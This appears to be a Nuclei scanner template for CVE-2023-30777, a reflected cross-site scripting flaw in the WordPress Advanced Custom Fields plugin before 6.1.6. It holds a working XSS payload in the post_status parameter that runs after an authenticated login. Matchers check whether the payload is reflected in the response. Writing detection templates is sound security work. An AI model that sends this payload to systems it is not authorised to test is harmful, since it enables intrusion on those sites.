id: CVE-2023-30777 info: name: Advanced Custom Fields < 6.1.6 - Cross-Site Scripting author: r3Y3r53 severity: medium description: | Advanced Custom Fields beofre 6.1.6 is susceptible to cross-site scripting via the post_status parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. remediation: Fixed in version 6.1.6. reference: - https://wpscan.com/vulnerability/95ded80f-a47b-411e-bd17-050439bf565f - https://wordpress.org/plugins/advanced-custom-fields/advanced/ - https://nvd.nist.gov/vuln/detail/CVE-2023-30777 - https://patchstack.com/database/vulnerability/advanced-custom-fields-pro/wordpress-advanced-custom-fields-pro-plugin-6-1-5-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve - https://patchstack.com/database/vulnerability/advanced-custom-fields/wordpress-advanced-custom-fields-plugin-6-1-5-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-30777 cwe-id: CWE-79 epss-score: 0.00273 epss-percentile: 0.64433 cpe: cpe:2.3:a:advancedcustomfields:advanced_custom_fields:*:*:*:*:-:wordpress:*:* metadata: verified: true max-request: 2 vendor: advancedcustomfields product: advanced_custom_fields framework: wordpress tags: wpscan,cve,cve2023,advance-custom-field,wp,wp-plugin,wordpress,authenticated,xss,advancedcustomfields http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/edit.php?post_type=acf-post-type&post_status=%22style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29%2F%2F HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code_2 == 200' - 'contains(content_type_2, "text/html")' - 'contains(body_2, "onanimationstart=alert(document.domain)//")' - 'contains(body_2, "Advanced Custom Fields")' condition: and # digest: 4b0a00483046022100e17f2f0aa9fb2f79e1413e003f162b98574690b20f14a044c4dbd91cdebf7f6f022100c1a95d0cc1aed9449600e5dc3884cc17790947a5de794bf1073ebe876febba85:922c64590222798bb761d5b6d8e72950